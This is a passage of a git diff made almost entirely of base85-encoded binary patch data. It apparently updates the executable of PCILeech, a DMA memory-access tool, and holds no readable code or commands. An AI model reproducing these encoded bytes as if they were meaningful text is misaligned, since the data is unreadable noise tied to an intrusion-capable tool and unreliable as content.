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 bm4@#9<29>}{_3XbN(<%VWcB8BrT+g1+>%e7 diff --git a/pcileech_files/pcileech.exe b/pcileech_files/pcileech.exe index 33af53d2504b2c6b5fecf13fc6225f40cb5ff8c3..cba942e7e8762246ac9391a1557115a30af6fc4e 100644 GIT binary patch delta 82246 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 